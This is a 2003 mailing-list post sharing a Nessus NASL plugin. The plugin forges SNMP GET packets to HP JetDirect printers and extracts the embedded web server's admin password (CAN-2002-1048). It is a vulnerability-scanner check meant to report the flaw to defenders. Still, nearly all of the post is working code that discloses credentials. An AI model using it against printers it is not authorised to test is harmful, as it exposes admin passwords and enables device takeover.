Re: JetDirect password disclosure

From: Javier Fernandez-Sanguino (jfernandezat_private)
Date: Wed Mar 05 2003 - 01:13:15 PST

  • Next message: Javier Fernandez-Sanguino: "Re: JetDirect password disclosure"

    Geoff Humes wrote:
    > This snmp object .1.3.6.1.4.1.11.2.3.9.1.1.13.0 is for the embedded web 
    > server (ews) password - I've written a plugin for our internal use that 
    > I've included here.  I know it's not the cleanest, but it works. 
    (...)
    
    How about this version? It uses the information Renaud's has as well as 
    the knowledgebase, I've added a CVE reference and a better check for the 
    security note (it won't send a note if there is no password). I've left 
    commented a check for Solaris that might (or might not) be appropiated.
    
    Of course, credit goes to you guys, I've only done some testing and 
    merged the code of both scripts...
    
    Regards
    
    
    Javi
    
    
    # This plugin is a rip from snmp_sysDesc.nasl
    # This rip was written by Geoff Humes <geoff.humesat_private>
    # and some tidbits by Renaud Deraison <deraisonat_private>
    # (merged together by Javier Fernandez-Sanguino jfernandezat_private)
    #
    # snmp_sysDesc.nasl was written by Renaud Deraison <deraisonat_private>
    #
    # See the Nessus Scripts License for details
    #
    # Ref:
    #
    # Date: 3 Mar 2003 15:25:37 -0000
    # Message-ID: <20030303152537.18769.qmailat_private>
    # From: Sven Pechler <helpdeskat_private>
    # To: bugtraqat_private
    # Subject: New HP Jetdirect SNMP password vulnerability when using Web JetAdmin
    
    
    if(description)
    {
    #need a script_id
     script_id(1);
     script_version ("$Revision: 1 $");
     script_cve_id("CAN-2002-1048");
     
     name["english"] = "Discover HP JetDirect Embedded Web Server Password via SNMP";
     
     script_name(english:name["english"]);
     
     desc["english"] = "
    This script attempts to obtain the password of the remote
    HP JetDirect web server (available in some printers)
    by requesting the OID :
    
    .1.3.6.1.4.1.11.2.3.9.1.1.13.0
    
    Of the remote printer.
    
    An attacker may use this flaw to gain administrative access on
    that printer.
    
    For more information:
    http://www.securityfocus.com/archive/1/313714/2003-03-01/2003-03-07/0)
    http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?id=advise15
    
    Risk factor : High";
    
     script_description(english:desc["english"]);
     
     summary["english"] = "Enumerates password of JetDirect Web Server via SNMP";
     script_summary(english:summary["english"]);
     
     script_category(ACT_GATHER_INFO);
     
     script_copyright(english:"This script is Copyright (C) 2003 Digital Defense, Inc. and  Renaud Deraison");
     family["english"] = "SNMP";
     script_family(english:family["english"]);
     script_dependencies("snmp_default_communities.nasl");
     
     exit(0);
    }
    
    passwordless = 0;
    password = string("");
    equal_sign = raw_string(0x3D);
    nothing = raw_string(0x00);
    community = get_kb_item("SNMP/community");
    if(!community)community = "internal";
    
    # Solaris comes with a badly configured snmpd which
    # always reply with the same value. We make sure the answers
    # we receive are not in the list of default values usually
    # answered...
    #
    function valid_snmp_value(value)
    {
     if("/var/snmp/snmpdx.st" >< value)return(0);
      if("/etc/snmp/conf" >< value)return(0);
       return(1);
    }
    
    
    #--------------------------------------------------------------------#
    # Forges an SNMP GET packet                                          #
    #--------------------------------------------------------------------#
    function get(community, object)
    {
     len = strlen(community);
     len = len % 256;
     
     tot_len = 23 + strlen(community) + strlen(object);
     packet = raw_string(0x30, tot_len, 0x02, 0x01, 0x00, 0x04, len);
     object_len = strlen(object) + 2;
     
     pack_len = 16 + strlen(object);
     packet = packet + community + raw_string( 0xA0,
    	pack_len, 0x02, 0x04, 0x5e, 0xa4, 0x3f, 0x0c, 0x02, 0x01, 0x00, 0x02,
    	0x01, 0x00, 0x30, object_len) + object + raw_string(0x05, 0x00);
     return(packet);
    }
    
    #--------------------------------------------------------------------#
    # Checks if JetDirect is vulnerable                                  #
    #--------------------------------------------------------------------#
    function vulnerable()
    {
    
     #if firmware is current, url will give a 200 or a 401
     url = string("/hp/jetdirect/tcp_param.htm");
     port = 80;
     reply = 0;
    
     soc = open_sock_tcp(port);
     if(soc)
     {
      request = http_get(item:url, port:port);
      send(socket:soc, data:request);
      r = recv(socket:soc, length:1024);
      close(soc);
      #if 404 returned, old firmware present
      if("404 Not Found" >< r)
      {
       soc = open_sock_tcp(port);
       if(soc)
       {
        url = string("/");
        request = http_get(item:url, port:port);
        send(socket:soc, data:request);
        r = recv(socket:soc, length:1024);
        close(soc);
        #if / gives 404, web server is disabled - gives 404 for any request
        if(!("404 Not Found" >< r))
        {
         reply = 1;
        }
       }
      }
     }
    
     return(reply);
    }
    
    
    
    if(!(vulnerable())) exit(0);
    
    
    soc = open_sock_udp(161);
    
    MIB = raw_string(0x30, 0x11, 0x06, 
    		   0x0D, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x0B, 0x02,
    		   0x03, 0x09, 0x01, 0x01, 0x0D, 0x00);
    		  
    req = get(community:community, object:MIB);
    
    send(socket:soc, data:req);
    r = recv(socket:soc, length:1025);
    
    
    len = strlen(r);
    
    start = 0;
    for(i=0;(i+2)<len;i=i+1)
    {
     #look for preamble to password
     if(ord(r[i]) == 0x04)
     {
      if(ord(r[i + 1]) == 0x82)
      {
       if(ord(r[i + 2]) == 0x01)
       {
        start = i + 4;
        i = len;
         #found password, check if blank
         if(r[start] == nothing)
         {
          if(r[start+1] == nothing)
          {
           if(r[start+2] == nothing)
           {
            if(r[start+3] == nothing) 
            {
             passwordless = 1;
            }
           }
          }
         }
       }
      }
     }
    }
    
    #some printers respond with nothing but 04 00 when passwordless
    if(start == 0)
    {
     if(ord(r[len - 1]) == 0x00)
     {
      if(ord(r[len - 2]) == 0x04) 
      {
       passwordless = 1;
      }
     }
    }
    
    if(!(passwordless))
    {
     password = string("The password is ");
     #password format is password=108;  here we look for the = as the end of the passwd
     for(i=start;i<len;i=i+1)
     {
      if(r[i] == equal_sign)
      {
       i=len;
      }
      else
      {
       password = password + r[i];
      }
     }
    password = password + raw_string(0x00);
    }
    
    # Renaud, is this useful here?
    #if(!valid_snmp_value(value:password))exit(0);
    
    
    if (passwordless) {
    
    	report = string (" 
    It was possible to obtain the remote printer password by
    querying the OID .1.3.6.1.4.1.11.2.3.9.1.1.13.0 and we
    discovered that the remote printer has no password set !
    
    An attacker may use this flaw to gain administrative privileges on this
    printer
    
    Risk factor : High");
    }  else { 
    report = string ("
    It was possible to obtain the remote printer password ('", password, "')  by
    querying the OID .1.3.6.1.4.1.11.2.3.9.1.1.13.0.
    
    An attacker may use this flaw to gain administrative privileges on this
    printer
    
    Risk factor : High");
    }
    
    
    if(strlen(password) > 1 || passwordless ) security_note(port:161, data:report, protocol:"udp");
    



    This archive was generated by hypermail 2b30 : Wed Mar 05 2003 - 01:15:05 PST